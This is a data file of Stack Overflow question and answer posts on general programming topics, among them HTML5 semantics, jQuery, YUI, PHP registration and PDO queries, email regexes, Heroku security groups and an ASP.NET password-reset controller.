27196984	0	 <p>HTML5 practices are all about semantics. If your bold text is bold because you want to place a strong emphasis on that text, you should use <a href="http://html5doctor.com/i-b-em-strong-element/" rel="nofollow"><code>&lt;strong&gt;</code></a>. If your highlighted text is highlighted because it's something you want to mark to draw attention to it, try the <a href="http://html5doctor.com/draw-attention-with-mark/" rel="nofollow"><code>&lt;mark&gt;</code></a> element. Style those elements as you wish.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>You will &lt;strong&gt;probably&lt;/strong&gt; find most browsers have quite sensible defaults for &lt;mark&gt;styling these elements&lt;/mark&gt;.</code></pre> </div> </div> </p>
22799804	0	 <pre><code>' VS.net 2013. Use the "Shown" event. ' GotFocus isn't soon enough. Private Sub Form_Shown(sender As Object, e As EventArgs) Handles Me.Shown TB.SelectionLength = 0 End Sub </code></pre>
14232824	0	 <p>Unless you convert the project with the <code>one:convert</code> goal, you won't be able to. You have to understand that Maven 1.x and 2.x are extremely different. Either just install 1.x and build the project with it, or convert it, if that is at all possible, as the conversion plugin will not solve everything for you for more complicated projects.</p>
12834338	0	 <p>Since you are using jQuery you can use:</p> <pre><code>$(function(){ var myObject = $('#container'), offset = myObject.offset(); //then you can access offset.top and offset.left }); </code></pre>
10334307	0	 <p><strong>disclaimer</strong> I dont' recommend you expose <code>object</code> on a WCF endpoint; altho this appears 'flexible' this is not a good idea as you have not specified what sort of information will be served by your service.</p> <p><em>and now for an answer</em></p> <p>If your WCF call is being consumed by an ajax call and as you put it <code>Javascript client just doesn't care.</code> then why not make your WCF call simply return a string? Then the internals of your WCF call can serialize the <code>Dictionary&lt;string, object&gt;</code> using the JavaScriptSerializer</p> <pre><code>public string MyServiceMethod() { var hash = new Dictionary&lt;string, object&gt;(); hash.Add("key1", "val1"); hash.Add("key2", new { Field1 = "field1", Field2 = 42}); var serialized = new JavaScriptSerializer().Serialize(hash); return serialized; } </code></pre> <p><strong>disclaimer2</strong> This is a means to the end (since you asked the question) - For a production quality application I would have a well defined interface so it was clear what was being requested and sent back over the wire.</p>
21127641	0	 <p>You need to remove the <code>&amp;</code> operator when passing the <code>client</code> variable to the <code>lpParameter</code> param of <code>CreateThread()</code>:</p> <pre><code>//CreateThread(..., &amp;client, ...); CreateThread(..., client, ...); </code></pre> <p><code>SendToPeer()</code> is expecting to receive a <code>Peer*</code> pointer but you are actually sending it a <code>Peer**</code> pointer instead.</p>
2245372	0	 <p>No. Newer matches overwrite older matches. Perhaps the <code>limit</code> argument of <code>explode()</code> would be helpful when exploding.</p>
6484689	0	 <p>You can split on an empty string:</p> <pre><code>var chars = "overpopulation".split(''); </code></pre> <hr> <p>If you just want to access a string in an array-like fashion, you can do that without <code>split</code>:</p> <pre><code>var s = "overpopulation"; for (var i = 0; i &lt; s.length; i++) { console.log(s.charAt(i)); } </code></pre> <hr> <p>You can also access each character with its index in the normal fashion:</p> <pre><code>var s = "overpopulation"; console.log(s[3]); // logs 'r' </code></pre>
21126381	0	 <pre><code>&lt;%= i.awards.sum(:points) %&gt; </code></pre> <p>For for the sum of all points from all recipes:</p> <pre><code>&lt;%= @user.recipes.map { |r| r.awards.sum(:points) }.sum %&gt; </code></pre> <p>Although it might be sensible to do this calculation within the model. You'll remove a lot of duplication that way if you use it in more than one view.</p> <p>UPDATE:</p> <p>As per the comments below, you could also ask the DB to calculate the sum for you:</p> <pre><code>&lt;%= @user.recipes.joins(:awards).sum('awards.points') %&gt; </code></pre>
2369874	0	 <p>Setting the website's trust level to "full" has no bearing on how script runs on the client browser, it affects how the server runs your site.</p> <p>Generally, you are not allowed to muck around on a "client PC" in this way, for fairly obvious reasons, and depending on where (and how) this code is running (is it in a client script block or on the server?) will affect the permissions needed.</p>
3344788	0	 <p>There are a lot of other conditions that I've been hearing about with non-relational systems vs relational. I prefer this terminology over sql/no-sql as I personally think it describes the differences better, and several of the "no-sql" servers have sql add-ons, so anyway.... what sort of concurrency pattern or tranaction isolation is required in your system. One of the purported differences between rel and non-rel dbs is the "consistent-always", "consistent-mostly" or "consistent-eventually". Relation dbs by default usually fall into the "consistent-mostly" category and with some work, and a whole lot of locking and race conditions, ;) can be "consistent-always" so everyone is always looking at the most correct representation of a given piece of data. Most of what I've read/heard about non-rel dbs is that they are mainly "consistent-eventually". By this it means that there may be many instances of our data floating around, so user "A" may see that we have 92 widgets in inventory, whereas user "B" may see 79, and they may not get reconciled until someone actually goes to pull stuff from the warehouse. Another issue is mutability of data, how often does it need to be updated? The particular non-rel db's I've been exposed to have more overhead for updates, some of them having to regenerate the entire dataset to incorporate any updates.</p> <p>Now mind, I think non-rel/nosql are great tools if they really match your use case. I've got several I'm looking into now for projects I've got. But you've got to look at all the trade offs when making the decision, otherwise it just turns into more resume driven development.</p>
17998503	0	Accessing variables across different scopes in Javascript & YUI 3 <p>I'm new to YUI 3 and YUI in general. I'm trying to pass data between classes and methods.</p> <p>In this example I'm using the <strong>gallery-sm-treeview</strong> plugin to build a file tree. There's a class named <strong>TreeView</strong> to initialize and render the tree. There's another class named <strong>MenuBar</strong> where I want to access some of the plugin-specific methods through <strong>TreeView</strong>'s getter method.</p> <p>However, the variable <strong>var treeview</strong> inside the YUI().use() scope is of course not accessible from outside. How to do it?</p> <pre><code>YUI.add('treetool.TreeView', function(Y) { Y.treetool.TreeView = Class.extend({ init : function(elementId) { YUI({ gallery: 'gallery-2013.06.20-02-07'}).use('gallery-sm-treeview', function (Y) { // Create a new TreeView with a few nodes. var treeview = new Y.TreeView({ // Tell the TreeView where to render itself. container: elementId, // Populate the treeview with some tree nodes. nodes: [ {label: 'Node 1'}, {label: 'Node 2', children: [ {label: 'Child 1'}, ] }); // Render the treeview inside the #treeview element. treeview.render(); }); }, getSomeData : function () { return treeview.getSelectedNodes(); } }); }, '0.0.1', { requires : [ 'jquery' ] }); </code></pre> <p>and</p> <pre><code>YUI.add('treetool.MenuBar', function(Y) { Y.treetool.MenuBar = Class.extend({ init : function(treeObj) { var someData = treeObj.getSomeData(); }, }); }, '0.0.1', { requires : [ 'jquery' ] }); </code></pre>
10421426	0	 <p>Problem since solved. I was given the answer by Aaron Heckmann over on the <a href="https://groups.google.com/forum/#!topic/mongoose-orm/0p-rhtcJdng">mongoose Google Group</a>:</p> <blockquote> <p>Always declare your child schemas before passing them to you parent schemas otherwise you are passing undefined. </p> <p>SubCommentSchema should be first, then Comment followed by BlogPost.</p> </blockquote> <p>After reversing the schemas it worked.</p>
19378226	1	Check if a word is a palindrome <p>First of all, I have checked if this question relates to any old posts, but these haven't helped me. If it does relate to any old posts, I am terribly sorry.</p> <p>This relates to a practice python coding exercise that I have been working on.</p> <p>As the code is incomplete, I am going to explain what the program does below:</p> <p>The program asks the user for an input, any input. It then checks if the input is a palindrome, and prints different texts depending on the outcome (wether or not the user's input is a palindrome).</p> <p>I am completely unsure on how to solve this. Any help is appreciated.</p>
39385940	0	 <pre class="lang-js prettyprint-override"><code>^[a-zA-Z0-9]+(?:\.?[\w!#$%&amp;'*+/=?^`{|}~\-]+)*@[a-zA-Z0-9](?:\.?[\w\-]+)+\.[A-Za-z0-9]+$ </code></pre> <p>No <code>..</code> and at least 1 <code>.</code> and 1 <code>@</code>.<br> Also starts/ends with letters/numbers.</p> <p>The <code>^</code> (start) and <code>$</code> (end) were just added to match a whole string, not just a substring. But you could replace those by a word boundary <code>\b</code>.</p> <p>An alternative where the special characters aren't hardcoded:</p> <pre><code>^(?!.*[.]{2})[a-zA-Z0-9][^@\s]*?@[a-zA-Z0-9][^@\s]*?\.[A-Za-z0-9]+$ </code></pre>
17739105	0	 <p>You can use this code as well to fetch your twitter feeds to any webpage. Please try by putting it to server (because some times i saw problem of not fetching feeds on local machine, but don't worry it would work on server - say with .php file extension)</p> <pre><code> &lt;script&gt; var twitterFetcher=function(){function t(d){return d.replace(/&lt;b[^&gt;]*&gt;(.*?)&lt;\/b&gt;/gi,function(c,d){return d}).replace(/class=".*?"|data-query-source=".*?"|dir=".*?"|rel=".*?"/gi,"")}function m(d,c){for(var f=[],e=RegExp("(^| )"+c+"( |$)"),g=d.getElementsByTagName("*"),b=0,a=g.length;b&lt;a;b++)e.test(g[b].className)&amp;&amp;f.push(g[b]);return f}var u="",j=20,n=!0,h=[],p=!1,k=!0,l=!0,q=null,r=!0;return{fetch:function(d,c,f,e,g,b,a){void 0===f&amp;&amp;(f=20);void 0===e&amp;&amp;(n=!0);void 0===g&amp;&amp;(g=!0);void 0===b&amp;&amp;(b=!0); void 0===a&amp;&amp;(a="default");p?h.push({id:d,domId:c,maxTweets:f,enableLinks:e,showUser:g,showTime:b,dateFunction:a}):(p=!0,u=c,j=f,n=e,l=g,k=b,q=a,c=document.createElement("script"),c.type="text/javascript",c.src="//cdn.syndication.twimg.com/widgets/timelines/"+d+"?&amp;lang=en&amp;callback=twitterFetcher.callback&amp;suppress_response_codes=true&amp;rnd="+Math.random(),document.getElementsByTagName("head")[0].appendChild(c))},callback:function(d){var c=document.createElement("div");c.innerHTML=d.body;"undefined"=== typeof c.getElementsByClassName&amp;&amp;(r=!1);var f=d=null,e=null;r?(d=c.getElementsByClassName("e-entry-title"),f=c.getElementsByClassName("p-author"),e=c.getElementsByClassName("dt-updated")):(d=m(c,"e-entry-title"),f=m(c,"p-author"),e=m(c,"dt-updated"));for(var c=[],g=d.length,b=0;b&lt;g;){if("string"!==typeof q){var a=new Date(e[b].getAttribute("datetime").replace(/-/g,"/").replace("T"," ").split("+")[0]),a=q(a);e[b].setAttribute("aria-label",a);if(d[b].innerText)if(r)e[b].innerText=a;else{var s=document.createElement("p"), v=document.createTextNode(a);s.appendChild(v);s.setAttribute("aria-label",a);e[b]=s}else e[b].textContent=a}n?(a="",l&amp;&amp;(a+='&lt;div class="user"&gt;'+"&lt;/div&gt;"),a+='&lt;p class="tweet"&gt;'+t(d[b].innerHTML)+"&lt;/p&gt;",k&amp;&amp;(a+='&lt;p class="timePosted"&gt;'+e[b].getAttribute("aria-label")+"&lt;/p&gt;")):d[b].innerText?(a="",l&amp;&amp;(a+='&lt;p class="user"&gt;'+f[b].innerText+"&lt;/p&gt;"),a+='&lt;p class="tweet"&gt;'+d[b].innerText+"&lt;/p&gt;",k&amp;&amp;(a+='&lt;p class="timePosted"&gt;'+e[b].innerText+"&lt;/p&gt;")):(a="",l&amp;&amp;(a+='&lt;p class="user"&gt;'+f[b].textContent+ "&lt;/p&gt;"),a+='&lt;p class="tweet"&gt;'+d[b].textContent+"&lt;/p&gt;",k&amp;&amp;(a+='&lt;p class="timePosted"&gt;'+e[b].textContent+"&lt;/p&gt;"));c.push(a);b++}c.length&gt;j&amp;&amp;c.splice(j,c.length-j);d=c.length;f=0;e=document.getElementById(u);for(g="&lt;ul&gt;";f&lt;d;)g+="&lt;li&gt;"+c[f]+"&lt;/li&gt;",f++;e.innerHTML=g+"&lt;/ul&gt;";p=!1;0&lt;h.length&amp;&amp;(twitterFetcher.fetch(h[0].id,h[0].domId,h[0].maxTweets,h[0].enableLinks,h[0].showUser,h[0].showTime,h[0].dateFunction),h.splice(0,1))}}}(); /* * ### HOW TO CREATE A VALID ID TO USE: ### * Go to www.twitter.com and sign in as normal, go to your settings page. * Go to "Widgets" on the left hand side. * Create a new widget for what you need eg "user timeline" or "search" etc. * Now go back to settings page, and then go back to widgets page, you should * see the widget you just created. Click edit. * Now look at the URL in your web browser or see the script generated below the widget, you will see a long number like this: * 345735908357048478 in url or data-widget-id="345095893361512448" in the generated code * Use this as your ID below instead! */ /*************** * twitterFetcher.fetch('Put your twitter id here', 'ID of the container e.g id tweets of container div') */********************* twitterFetcher.fetch('345095893361512448', 'tweets', 5, true); function dateFormatter(date) { return date.toTimeString(); } &lt;/script&gt; &lt;div id="tweets" style="width: 200px;float:left;overflow:hidden"&gt;&lt;/div&gt; </code></pre>
35081638	0	How to show same video in two VideoViews simultaneously <p>I'm working with VideoView and I'm trying to show same video in two Videoviews like this <a href="https://play.google.com/store/apps/details?id=co.mobius.vrcinema" rel="nofollow">application</a></p> <p>I'm following this <a href="http://stackoverflow.com/questions/10023605/how-can-i-play-two-video-on-one-screen">link</a> to show the video in two VideoViews but I'm getting delay in both audio and video on both videoviews so please help me to solve this problem. I need to play the video at the same time without any delay</p> <p>Thank you..</p>
36841103	0	Java recursion sum of number non divisible by specific number <p>I have to find sum of the all even numbers that are not divisible by 7 using recursion. I tried this code but it seems I am making mistake somewhere because it returns 0: </p> <pre><code>public static void main(String[] args) { System.out.println(specialSum(50)); } public static int specialSum(int a) { if ((a &gt;= 1) &amp;&amp; ((specialSum(a-1))%7 !=0)) { return a + specialSum(a -1); } else{ return 0; } } } </code></pre>
21170663	0	 <p>Heroku dynos are all running on machines within Amazon EC2 us-east-1 data center. They do not have any restrictions/firewalls on outgoing connections.</p> <p>As long as you have the proper Security Group settings to allow the connections from your dynos to your own EC2 instance, you should be good.</p> <p>It sounds like you haven't correctly opened up access from within us-east-1 to your instance. Double check your security group.</p> <p>Information on how to edit the correct security group:</p> <ol> <li>Check what security group you are using for your instance. See value of Security Groups column in row of your instance. It's important - I changed rules for default group, but my instance was under quickstart-1 group when I had similar issue.</li> <li>Go to Security Groups tab, go to Inbound tab, select HTTP in Create a new rule combo-box, leave 0.0.0.0/0 in source field and click Add Rule, then Apply rule changes.</li> </ol>
6451581	0	PHP Login application - Check if username already exists when creating a new user <p>The title tells pretty much everthing, that needs to be said. I'm having a registration code looking like this: </p> <p>I wan't it to check, if the username entered already exists, if it does - write and $errMsg = ""; and echo it out later.. I hope you can help me, thanks. </p> <pre><code>if(isset($_POST['username']) &amp;&amp; isset($_POST['password']) &amp;&amp; isset($_POST['name']) &amp;&amp; isset($_POST['last_name']) &amp;&amp; isset($_POST['company'])){ if($username === '') { $errMsg = "Du skal udfylde brugernavn"; } elseif($password === ''){ $errMsg = "Du skal udfylde password"; } elseif($name === ''){ $errMsg = "Du skal udfylde navn"; } elseif($last_name === ''){ $errMsg = "Du skal udfylde efternavn"; } elseif($company === ''){ $errMsg = "Du skal udfylde firma"; } $sql = ("SELECT * FROM members WHERE username ='$username'"); $result = mysql_query($sql) or die('error'); $row = mysql_fetch_assoc($result); if(mysql_num_rows($result)) { $errMsg = 'Brugernavn findes, vælg et andet.'; } else { $sql = ("INSERT INTO members (username, password, name, last_name, company, salt)VALUES('$username', '$password', '$name', '$last_name', '$company', '$salt')")or die(mysql_error()); if(mysql_query($sql)) echo "Du er oprettet som profil."; } }//End whole if </code></pre>
14374814	0	 <p>Ok one only learns by example, stop using the mysql_functions(), They are no longer maintained and are officially deprecated. And in PHP 5.6 they will most likely be removed, rendering you code broken.</p> <p>Move over to PDO with prepared querys. A Port of your current code using PDO:</p> <pre><code>&lt;?php // SQL Config $config['sql_host']='surveyipad.db.6420177.hostedresource.com'; $config['sql_db'] ='surveyipad'; $config['sql_user']='tom'; $config['sql_pass']='ben'; // SQL Connect try { $db = new PDO("mysql:host=".$config['sql_host'].";dbname=".$config['sql_db'], $config['sql_user'], $config['sql_pass']); $db-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db-&gt;setAttribute(PDO::ATTR_EMULATE_PREPARES, false); }catch (Exception $e){ die('Cannot connect to mySQL server.'); } // Check for POST, add isset($_POST['device_Id']) ect to add validations if($_SERVER['REQUEST_METHOD']=='POST'){ // Build your query with placeholders $sql = "INSERT INTO survey_responsese_pfizer (device_Id,R1,R2,R3,comment,update_date_time) VALUES (:device_Id, :R1, :R2, :R3, :comment, :update_date)"; // Prepare it $statement = $db-&gt;prepare($sql); // Assign your vairables to the placeholders $statement-&gt;bindParam(':device_Id', $_POST['device_Id']); $statement-&gt;bindParam(':R1', $_POST['R1']); $statement-&gt;bindParam(':R2', $_POST['R2']); $statement-&gt;bindParam(':R3', $_POST['R3']); $statement-&gt;bindParam(':comment', $_POST['comment']); $statement-&gt;bindParam(':update_date', $_POST['update_date_time']); // Execute the query $statement-&gt;execute(); echo htmlspecialchars($device_Id); } ?&gt; </code></pre> <p>Untested tho, hope it helps.</p>
39870541	0	 <p>Add this style, this might help,</p> <pre><code>.ui-widget.ui-widget-content { left: auto !important; right: 160px !important; } </code></pre> <p>make sure you have added the style in proper <code>@media</code> statement. I have tested in Full HD, 1366 monitor. Screenshot attached.<a href="https://i.stack.imgur.com/BYJwA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BYJwA.png" alt="enter image description here"></a></p>
7669403	0	correct way to display image from php onto page <p>I am not getting my image correctly. I am unsure what is happening. First things first, the image is coming out of a mysql query. Little confused about how to make that image ready for a ajax call?</p> <p>here is how I get the image out mysql</p> <pre><code> if(mysql_query("insert into Personal_Photos (Email, Pics) values('$email', '$data')")) { $query="select Pics, MAX(ID) from Personal_Photos where Email='$email'"; $result=mysql_query($query) or die("Error: ".mysql_error()); $row=mysql_fetch_array($result); //$mime = 'image/yourtype'; //$base64 = base64_encode($contents); //$uri = "data:$mime;base64,$base64"; //header("Content-type: image/jpg"); echo '&lt;img src="data:image/jpeg;base64'.base64_encode($row['Pics']).'"/&gt;'; } </code></pre> <p>the jquery that I use is like so</p> <pre><code>$('#profilepicbutton').live('change', function(){ $("#preview").html(''); $("#preview").html('&lt;img src="loader.gif" alt="Uploading...."/&gt;'); $("#registerpt3").ajaxForm({ target: '#preview', success: function(data) { $("#preview").html(''); $("#preview").append(data); } }).submit(); }) </code></pre>
14433409	0	How can I run Selenium (rspec2/capybara) tests as if though dial up or mobile connection? <p>I'd like to run my test suite as if I were on a mobile or dial up connection. I'm using a rails stack with rspec2, selenium. Any advice?</p>
2250955	0	 <p>I had initially thought of using composite commands. But by going through documentation it may not fit my requirements. </p> <p>Ex : Application supports 40 views Main region -> 20 Views that are active , all the view models are derived from baseviewmodel. </p> <p>toolbar -> save button -> databinding to compositesaveallcommand(activeaware monitor enabled) baseviewmodel -> save command -> registers/ unregisters based on specific filter conditions to compositesaveallcommand</p> <p>when user clicks save button ,compositesaveallcommand looks for all registered commands that are active, and checks for all registered viewmodel commands calls (canexecute method, and all registered commands need to return true) then invokes child commands ( execute method) .</p> <p>But in my case if the user make modifications in a single view , remaining 19 views there are no modifications. But I would like to execute save for single view. Looks like composite command will not invoke registered comamnds unless it can execute all.</p>
38188912	0	Sonata admin form mapper one-to-many relation with too many entries <p>I have a performance problem with sonata.</p> <p>I built a form with a one-to-many relation that works great between operation on several products, everything is fine in dev environment, but in production, I have 250000 products to be managed that makes queries very slow… I have an ajax query to replace my selector's content according to the maker of the product, but the first call (which param all the CRUD logic) is far too long…</p> <p>Here is my form mapper </p> <pre><code>-&gt;add( 'operationhasproducts', 'sonata_type_model', array( 'class' =&gt; 'MyBundle\Entity\Operationhasproducts', 'query' =&gt; $this-&gt;modelManager-&gt;createQuery('MyBundle\Entity\Product'), 'multiple' =&gt; true, 'by_reference' =&gt; false, 'btn_add' =&gt; false, 'required' =&gt; false ) ) </code></pre> <p>How can I keep the logic without loading 250000 products on loading the page </p> <p>I tried to put <code>'query'=&gt; $this-&gt;modelManager-&gt;createQuery('MyBundle\Entity\Product')-&gt;setMaxResults(10),</code> the form displays but then the crud logic no longer works, I have a data transformation error</p> <pre><code>Symfony\Component\Validator\ConstraintViolation Object(Symfony\Component\Form\Form).children[operationhasproducts] = [0 =&gt; 2739, 1 =&gt; 29217] Caused by: Symfony\Component\Form\Exception\TransformationFailedException Unable to reverse value for property path "operationhasproducts": Could not find all matching choices for the given values Caused by: Symfony\Component\Form\Exception\TransformationFailedException Could not find all matching choices for the given values </code></pre> <p>Any help will be welcome</p>
36033212	0	Mathematica DSolve diff. equation over a particular domain <p>I am looking for a way to solve the following differential equation:</p> <pre><code>DSolve[(1 - b*Abs[z])*f[z]/a == f''[z], f[z], z] </code></pre> <p>Therefore I tried to DSolve it distinguishing z>0 from z&lt;0 such as:</p> <pre><code>DSolve[(1 - b*z)*f[z]/a == f''[z], f[z], z&gt;0] </code></pre> <p>But I still does not work. Maybe adding a domain explicitly would help but I can't find a way to do so.</p> <p>Does anyone has any idea how do do such things?</p> <p>Thank you for your help and time</p>
4534254	0	changing the value given by date("U") without changing the server time <p>ive been using date("U") allover my script when suddenly i found that i need to add timezone option in the website , which means all date("U") should look like <code>date("U") + $someTime</code> , is there any way i could change the time that the option date("U") displays without the need to modify the date("U")'s in the script and without modifying the server time ?</p> <p>something like setting the date read by the 'date' function + or - some hours ???</p>
20416398	0	DocPad v6.57.0 - Failed to load/Unable to parse <p>I am new to DocPad, and I was running the KitchenSink demo with no issues.</p> <p>I then decided to follow the Beginner Guide on the DocPad website (no skeleton), and I am hitting a snag at "Installing the template engine" section. </p> <p>I got this warning when I tried to run docpad. I get the warning even if I stop DocPad (ctrl+c) and restart it. I am on OSX.</p> <pre> info: Generating... warning: Failed to load the file: /path-to-project/src/documents/about.html The error follows: warning: An error occured: Unable to parse. warning: Failed to load the file: /path-to-project/src/documents/index.html The error follows: warning: An error occured: Unable to parse. </pre>
38914083	0	 <p>you can use the <code>title</code> property</p> <pre><code>&lt;p class="hover" title="{{item.name}}"&gt; </code></pre> <p>or if you what to use angular for it and not the tooltip</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>angular.module('app', []) .controller('myController', function($scope) { $scope.myText = "some very very very very very long text"; }) .directive('hoverText', function () { return { restrict: 'A', scope: { hoverText: '=', maxChars: '=' }, link: function (scope, element) { element.text(scope.hoverText.substr(0, scope.maxChars) + '...') element.on('mouseenter', function() { element.text(scope.hoverText); }); element.on('mouseleave', function() { element.text(scope.hoverText.substr(0, scope.maxChars) + '...'); }); } }; })</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>p</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"&gt;&lt;/script&gt; &lt;div ng-app="app" ng-controller="myController"&gt; &lt;p hover-text="myText" max-chars="20"&gt; &lt;/p&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
20792799	0	 <p>I know this won't help too much, but this code works perfectly fine in Chrome and Firefox</p> <p><a href="http://jsbin.com/iluXOGe/2/edit" rel="nofollow">http://jsbin.com/iluXOGe/2/edit</a></p>
10584163	0	 <h2>No</h2> <p>Is the simple answer, you have to extend CIs functionality and use a library from a third party to provide these features for you. CI doesn't focus on the aesthetics of the "front-end". Its primary focus was "back-end". </p> <h2>Your Options:</h2> <p>look into Phil Sturgeons template library, and CI Sprinkles library first is for layout/theme/partials management, second is for asset management js/css minification and caching.</p> <p>Phil's Template Library: <a href="http://philsturgeon.co.uk/demos/codeigniter-template/user_guide/" rel="nofollow">http://philsturgeon.co.uk/demos/codeigniter-template/user_guide/</a></p> <p>Sprinkles Library: <a href="https://github.com/edmundask/Sprinkle" rel="nofollow">https://github.com/edmundask/Sprinkle</a></p> <h3>Or build your own basic template library</h3> <p>This is a great intro video how to do such. I have used this in the past, before i got into using Sparks. <a href="http://www.youtube.com/watch?v=gvGymDhY49E" rel="nofollow">http://www.youtube.com/watch?v=gvGymDhY49E</a></p> <h3>you can use Sparks to make lib management a bit easier</h3> <p>In 2.1 sparks aren't included however it is in the dev builds of CI so im sure at a later date it will be merged in with the base code. FOr now you can use this site to install Sparks to help you manage third party libraries.</p> <p><a href="http://getsparks.org" rel="nofollow">http://getsparks.org</a></p>
13365989	0	 <p>$a == $b Equal TRUE if $a is equal to $b after type juggling. $a === $b Identical TRUE if $a is equal to $b, and they are of the same type. </p> <p>it looks that</p> <p>if you check 0 against a string with == then PHP returns true:</p> <p>php -r 'var_dump(0 == "statuses");' -> returns TRUE</p> <p>but not if your string has a number at the beginning:</p> <p>php -r 'var_dump(0 == "2statuses");' -> returns FALSE</p> <p>from the specs I get it that it attempts a conversion - in this case the string to number.</p> <p>so better use ===</p> <p><a href="http://php.net/manual/en/language.operators.comparison.php" rel="nofollow">http://php.net/manual/en/language.operators.comparison.php</a></p>
22642695	0	Proper Unit Test for ASP.NET MVC5 <p>I have got following code and I have no clue which proper Unit Test I have write out for those methods and how it can be done. Basically I would like to use NUnit.Framework. </p> <p>Thank you in advance for ANY clue!</p> <pre><code> [AllowAnonymous] public ActionResult ForgotPassword(string id) { var model = new ForgotPasswordViewModel(); if (!string.IsNullOrEmpty(id)) { #region Process Reset Password Key try { var forgotPasswordEvent = AppModel.ForgotPasswordEvents.SingleOrDefault(x =&gt; x.UIDHash == id); if (forgotPasswordEvent != null) { var stringToHash = string.Format("{0}---{1}---{2}", forgotPasswordEvent.UID.ToString(), forgotPasswordEvent.UserId.ToString(), forgotPasswordEvent.Created.ToString()); var readyHash = SecurityHelper.GetHashString(stringToHash); if (id == readyHash) { var forgotPasswordEventUserId = forgotPasswordEvent.UserId.ToString(); var realUser = AppModel.AspNetUsers.SingleOrDefault(x =&gt; x.Id == forgotPasswordEventUserId); if (realUser != null) { var resetPasswordViewModel = new ResetPasswordViewModel(); resetPasswordViewModel.ResetPasswordData = id; resetPasswordViewModel.UserName = realUser.UserName; return RedirectToAction("ResetPassword", "Account", resetPasswordViewModel); // ResetPassword(resetPasswordViewModel); } } } else { return RedirectToAction("Index", "Home"); } } catch (Exception) { } #endregion } #region Check if the user is logged in and fill out fileds for him. var sessionManager = SessionWrapper.GetFromSession&lt;SessionManager&gt;("_SessionManager"); if (sessionManager != null) { var clientId = sessionManager.AppUser.ClientId; if (clientId != null) { model.Email = sessionManager.AppUser.EmailID; model.UserName = sessionManager.AppUser.UserName; model.IsLoggedInUser = true; } } #endregion return View(model); } [HttpPost] [AllowAnonymous] public ActionResult ForgotPassword(ForgotPasswordViewModel model, FormCollection formCollection) { if (ModelState.IsValid) { try { #region Check user input var user = AppModel.AspNetUsers.SingleOrDefault(x =&gt; x.UserName == model.UserName); var areErrors = false; if (user == null) { ModelState.AddModelError("UserDoesnotExist", DLMModelEntities.Properties.Resource.UserDoesNotExist); areErrors = true; } if (user.EmailID != model.Email) { ModelState.AddModelError("EmailIsWrong", DLMModelEntities.Properties.Resource.EmailIsWrong); areErrors = true; } if (areErrors) return View(model); #endregion #region Send Email and inform user try { var forgotPasswordEvent = new ForgotPasswordEvent(); var resetPasswordEmailUserState = new ResetPasswordEmailUserState(); resetPasswordEmailUserState.ForgotPasswordEventId = Guid.NewGuid(); resetPasswordEmailUserState.UserId = Guid.Parse(user.Id); resetPasswordEmailUserState.Created = DateTime.Now; forgotPasswordEvent.UID = resetPasswordEmailUserState.ForgotPasswordEventId; forgotPasswordEvent.UserId = resetPasswordEmailUserState.UserId; forgotPasswordEvent.IsSent = false; forgotPasswordEvent.Created = resetPasswordEmailUserState.Created; var stringToHash = string.Format("{0}---{1}---{2}", resetPasswordEmailUserState.ForgotPasswordEventId.ToString(), resetPasswordEmailUserState.UserId.ToString(), resetPasswordEmailUserState.Created.ToString()); forgotPasswordEvent.UIDHash = SecurityHelper.GetHashString(stringToHash); AppModel.ForgotPasswordEvents.Add(forgotPasswordEvent); AppModel.SaveChanges(); var smtp = (SmtpSection)ConfigurationManager.GetSection("system.net/mailSettings/smtp"); // Set the MailerModel properties that will be passed to the MvcMailer object. var m = new MailerModel(); m.UserName = user.UserName; m.ResetPasswordLink = string.Format("{0}/{1}", Request.Url.AbsoluteUri, forgotPasswordEvent.UIDHash); m.FromEmail = smtp.From; m.Subject = AppConfiguration.ResetEmailSubject; m.ToEmail = model.Email; var client = new SmtpClientWrapper(); client.SendCompleted += (sender, e) =&gt; { if (e.Error != null || e.Cancelled) { // Handle Error } else { try { var forgotPasswordEventsToUpdate = AppModel.ForgotPasswordEvents.SingleOrDefault(x =&gt; x.UID == resetPasswordEmailUserState.ForgotPasswordEventId); if (forgotPasswordEventsToUpdate != null) { forgotPasswordEventsToUpdate.IsSent = true; AppModel.SaveChanges(); } } catch (Exception ex) { ModelState.AddModelError("EmailEx", ex.Message); } } }; Mailer.PasswordReset(m).SendAsync(resetPasswordEmailUserState, client); model.IsResetEMailSent = true; } catch (Exception ex) { ModelState.AddModelError("EmailEx", ex.Message); } #endregion } catch (Exception ex) { ModelState.AddModelError("EmailEx", ex.Message); } } return View(model); } </code></pre>
11778636	0	Submit a form with data from other form JSF <p>I have a form that I want to submit with JSF/Richfaces.</p> <p>To execute the form action, I need to be sure a data from another form is valid.</p> <p>So my question is, how can I submit a form with data come from another form ?</p> <p>My code is like this:</p> <pre><code>&lt;h:form id="form1" &gt; &lt;h:inputText id="data" validator="#{myBean.validateData}" /&gt; &lt;/h:form&gt; &lt;h:form id="form2" &gt; &lt;h:inputText id="data2" validator="#{myBean2.validateData2}" /&gt; &lt;a4j:commandLink id="button" action="#{bandeauTarifController.recalculer}" ajaxSingle="true" process="data" &gt; Test link &lt;/a4j:commandLink&gt; &lt;/h:form&gt; </code></pre> <p>I thought the "process" attribute could do this but not.</p> <p>Someone have an idea about that ?</p> <p>Thanks.</p>
21783196	0	 <p>assuming you are using rake to apply an active record migration. The file path will be relative to where you started rake which I'm sure will be the projects root.</p> <p>The file path would be:</p> <p>content = File.read("app/views/layouts/application.html.erb")</p>
15276750	0	 <p>By making the assumption that express middleware handling is not broken: Why don't you try to write an injection middleware that is responsible to inject the desired session data and place the injection middleware before your middleware function you want to test?</p> <p>With this approach you don't test client code directly but isolate the injection in your injection middleware.</p>
